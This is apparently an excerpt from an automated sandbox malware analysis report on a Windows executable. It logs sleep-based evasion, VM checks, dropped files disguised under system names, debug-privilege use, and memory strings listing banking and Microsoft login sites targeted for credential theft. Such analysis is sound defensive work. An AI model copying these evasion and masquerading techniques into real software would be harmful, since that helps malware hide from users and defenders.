Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 595391	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 595269	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 595141	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 594804	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 594688	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 594554	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 594342	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 594234	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 594125	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 594016	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 593891	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 593771	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 593641	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 593516	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 593406	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 593238	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 593100	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 592928	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 592797	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 592672	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 592552	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 592422	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 592307	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 592181	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 591946	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 591827	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 591700	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 591563	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 591438	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 591328	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 591219	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 591089	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Window / User API: threadDelayed 4019			Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Window / User API: threadDelayed 5576			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\AHphtSeX.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to dropped file
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\jjSkKJFG.log	Jump to dropped file
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\PDlWdMMS.log	Jump to dropped file
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\wlyrJHCD.log	Jump to dropped file
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rUKsZmvt.log	Jump to dropped file
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\YPnuykix.log	Jump to dropped file
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\FUSHtkHk.log	Jump to dropped file
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\CUcqaUVf.log	Jump to dropped file

Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe TID: 7736	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 5480	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -599871s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -599025s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -598891s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -598688s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7976	Thread sleep time: -21600000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -598438s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -598313s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -598199s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -598088s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -597782s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -597516s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -597227s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -597101s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -596983s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -596780s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -596672s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -596547s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -596436s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -596327s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -596213s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -596109s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -596000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -595879s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -595750s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -595641s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -595516s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -595391s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -595269s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -595141s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -595031s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -594922s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -594804s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -594688s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -594554s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -594342s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -594234s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -594125s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -594016s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -593891s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -593771s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -593641s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -593516s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -593406s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -593238s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -593100s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7976	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -592928s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -592797s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -592672s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -592552s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -592422s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -592307s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -592181s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -591946s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -591827s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -591700s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -591563s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -591438s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -591328s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -591219s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7804	Thread sleep time: -591089s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe TID: 7488	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe TID: 7268	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe TID: 3192	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe TID: 736	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe TID: 2112	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe TID: 5808	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe TID: 7988	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Windows Analysis Report 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel Provided by

Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs

Windows Analysis Report
62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe

Malware Threat Intel
Provided by

Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	File Volume queried: C:\ FullSizeInformation

Source: vbwUCvifDl.17.dr	Binary or memory string: Interactive userers - NDCDYNVMware20,11696501413z
Source: vbwUCvifDl.17.dr	Binary or memory string: tasks.office.comVMware20,11696501413o
Source: vbwUCvifDl.17.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696501413h
Source: vbwUCvifDl.17.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696501413
Source: vbwUCvifDl.17.dr	Binary or memory string: www.interactiveuserers.co.inVMware20,11696501413~
Source: vbwUCvifDl.17.dr	Binary or memory string: dev.azure.comVMware20,11696501413j
Source: vbwUCvifDl.17.dr	Binary or memory string: Interactive userers - COM.HKVMware20,11696501413
Source: upfc.exe, 00000011.00000002.2529956937.000000001B810000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll%
Source: vbwUCvifDl.17.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696501413
Source: vbwUCvifDl.17.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696501413\|UE
Source: vbwUCvifDl.17.dr	Binary or memory string: bankofamerica.comVMware20,11696501413x
Source: vbwUCvifDl.17.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696501413}
Source: vbwUCvifDl.17.dr	Binary or memory string: Interactive userers - non-EU EuropeVMware20,11696501413
Source: vbwUCvifDl.17.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696501413x
Source: vbwUCvifDl.17.dr	Binary or memory string: turbotax.intuit.comVMware20,11696501413t
Source: upfc.exe, 00000011.00000002.2507201386.000000001315A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 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
Source: w32tm.exe, 00000025.00000002.1348768442.00000193F56B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: vbwUCvifDl.17.dr	Binary or memory string: Interactive userers - HKVMware20,11696501413]
Source: vbwUCvifDl.17.dr	Binary or memory string: outlook.office.comVMware20,11696501413s
Source: vbwUCvifDl.17.dr	Binary or memory string: Interactive userers - EU East & CentralVMware20,11696501413
Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe, upfc.exe.0.dr, llflCdrMcgGB.exe.0.dr, llflCdrMcgGB.exe0.0.dr, StartMenuExperienceHost.exe.0.dr, upfc.exe0.0.dr	Binary or memory string: Py2SvhiHGfsrxCC8JlZ5
Source: vbwUCvifDl.17.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696501413u
Source: vbwUCvifDl.17.dr	Binary or memory string: Interactive userers - GDCDYNVMware20,11696501413p
Source: vbwUCvifDl.17.dr	Binary or memory string: Interactive userers - EU WestVMware20,11696501413n
Source: vbwUCvifDl.17.dr	Binary or memory string: ms.portal.azure.comVMware20,11696501413
Source: vbwUCvifDl.17.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413
Source: vbwUCvifDl.17.dr	Binary or memory string: www.interactiveuserers.comVMware20,11696501413}
Source: vbwUCvifDl.17.dr	Binary or memory string: interactiveuserers.co.inVMware20,11696501413d
Source: vbwUCvifDl.17.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696501413x
Source: vbwUCvifDl.17.dr	Binary or memory string: global block list test formVMware20,11696501413
Source: vbwUCvifDl.17.dr	Binary or memory string: outlook.office365.comVMware20,11696501413t
Source: vbwUCvifDl.17.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413^
Source: vbwUCvifDl.17.dr	Binary or memory string: interactiveuserers.comVMware20,11696501413
Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe, 00000000.00000002.1311821217.000000001B853000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: vbwUCvifDl.17.dr	Binary or memory string: discord.comVMware20,11696501413f
Source: vbwUCvifDl.17.dr	Binary or memory string: AMC password management pageVMware20,11696501413

Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Process token adjusted: Debug
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Process token adjusted: Debug
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Process token adjusted: Debug
Source: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe	Process token adjusted: Debug
Source: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe	Process token adjusted: Debug
Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	Process token adjusted: Debug
Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Queries volume information: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\upfc.exe VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
